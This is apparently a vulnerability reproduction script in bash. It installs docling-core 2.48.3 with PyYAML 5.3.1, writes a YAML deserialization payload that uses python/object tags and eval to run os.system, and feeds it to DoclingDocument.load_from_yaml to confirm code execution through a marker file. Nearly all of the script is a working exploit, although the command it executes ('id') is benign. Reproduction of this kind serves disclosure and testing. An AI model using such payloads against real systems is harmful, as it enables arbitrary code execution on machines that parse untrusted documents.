#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

VENV="$ROOT/.venv_docling"
if [ ! -d "$VENV" ]; then
  python3 -m venv "$VENV"
fi

# shellcheck disable=SC1091
source "$VENV/bin/activate"

pip install --upgrade pip
pip install "docling-core==2.48.3" "PyYAML==5.3.1"

PAYLOAD="$LOGS/payload.yaml"
MARKER="$LOGS/pwned.txt"

cat > "$PAYLOAD" <<EOF
!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__('os').system('id > $MARKER')"]
EOF

python - <<PY
from docling_core.types.doc import DoclingDocument

try:
    DoclingDocument.load_from_yaml("$PAYLOAD")
except Exception as exc:
    print(f"Caught exception after YAML load: {exc}")
PY

if [ -f "$MARKER" ]; then
  echo "VULNERABILITY CONFIRMED: marker file created at $MARKER"
  exit 0
fi

echo "VULNERABILITY NOT REPRODUCED: marker file not found"
exit 1
